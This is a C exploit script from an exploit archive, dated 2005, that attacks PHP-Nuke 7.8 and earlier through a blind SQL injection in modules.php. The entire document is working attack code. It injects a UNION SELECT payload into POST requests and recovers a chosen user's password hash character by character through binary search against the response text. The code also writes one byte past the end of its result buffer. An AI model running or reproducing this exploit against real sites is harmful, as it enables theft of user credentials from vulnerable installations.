PHP-Nuke 7.8 - 'modules.php' SQL Injection

/***********************************************
* PHP-Nuke <=7.8 SQL injection exploit
* need MySQL > 4.0
* (c)oded by 1dt.w0lf
* RST/GHC
* http://rst.void.ru
* http://ghc.ru
************************************************/
// tested on 7.8

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <regex.h>

#define START 47
#define END   103
#define SZ    1024
#define PORT  80
#define PREFIX "nuke_"
#define SQL "name=PHP-Nuke%%207.8%%20Exploit'%%20UNION%%20SELECT%%201,1%%20FROM%%20%susers%%20WHERE%%20user_id=%d%%20AND%%20ascii(substring(user_password,%d,1))%c%d/*"


main (int argc, char **argv) {
 int pos;
 int res = 0;
 char result[33];
	
 if(argc<4)
  {
  printf("Usage %s [host] [/folder/] [user_id]\n",argv[0]);
  exit(1);
  }
 
 printf("PHP-Nuke <= 7.8 SQL injection exploit\n"
         "-------------------------------------\n"
         "[~] Host : %s\n[~] Folder: %s\n"
         "[!] Searching password for user with id : %d\n"
         "[!] Please wait...\n",argv[1],argv[2],atoi(argv[3]));  
 for(pos=1;pos<33;pos++)
  {	 
  found(argv[1],argv[2],atoi(argv[3]),START,END,pos,&res);  
  sprintf(result+pos-1,"%c",res);
  if(res == 0) { break; }
  }
 result[33] = '\0';
 if(strlen(result)>0) printf("[+] Password: %s\n",result);
 else printf("[-] Password not found\n");
 exit (0);
}

int found(char * host, char * folder, int user_id, int min, int max, int pos, int * res)
 {
 int i;
 int sr = (max - ((max-min)/2));
 if( (max-min) < 6 ) { i=(brute(host,folder,user_id,min,max,pos)); *res = i; }
 else if( (check(host,folder,pos,'>',sr,user_id)) == 1 ) { found(host,folder,user_id,sr,max,pos,res); }
 else { found(host,folder,user_id,min,sr,pos,res);	} 
 return 0;
 }

int brute(char * host, char * folder, int user_id, int min, int max, int pos)
 {	 
 int i;
 for(i=min-1;i<max+1;i++)
  {
  if((check(host,folder,pos,'=',i, user_id)) == 1) { return i; }
  }
 return 0;  
 }	 
 
int check(char * host, char * folder, int pos, int chk, int test, int user_id)
 {
 char req[SZ]; 
 char ans[SZ];
 char sql[SZ];
 int sock;
 struct hostent *hp;
 struct sockaddr_in sin;
 regex_t re;
 char *pattern = "Sorry, this Module isn't active!";
 
 if( (sock = socket (AF_INET, SOCK_STREAM, 0)) < 0 )
  {
   printf("[ ERROR ] Can't create socket!\n");
   exit(1);
  } 
  
 if( (regcomp( &re, pattern, REG_EXTENDED )) != 0 )
  {
  printf("[ ERROR ] REG ERROR!\n");
  exit(1);
  }
  
 bzero(&sin, sizeof(sin));
 sin.sin_family = AF_INET;
 sin.sin_port   = htons(PORT);
 hp = gethostbyname (host);
  
 memcpy ((char *)&sin.sin_addr,hp->h_addr,hp->h_length);
 connect (sock, (struct sockaddr *)&sin, sizeof(sin)); 
  
 bzero(req,sizeof(req));
 bzero(ans,sizeof(ans));
 bzero(sql,sizeof(sql));	 
	 
 snprintf(sql,SZ-1,SQL,PREFIX,user_id,pos,chk,test);	 
 
 snprintf(req,SZ-1,"POST %smodules.php HTTP/1.0\n"
                  "Host: %s\n"
                  "Content-Type: application/x-www-form-urlencoded\n"
                  "Content-Length: %d\n\n"
                  "%s\n\n\n",
                  folder,
				  host,
                  strlen(sql),
                  sql);
 
 write(sock, req, strlen(req));

 while( (read(sock, &ans, SZ-1)) > 0 )
  {
  if( (regexec( &re, ans, 0, NULL, 0)) == 0) { return 0; }
  bzero(ans,sizeof(ans));
  } 
 close (sock); 
 return 1;	 
 }

// milw0rm.com [2005-09-16]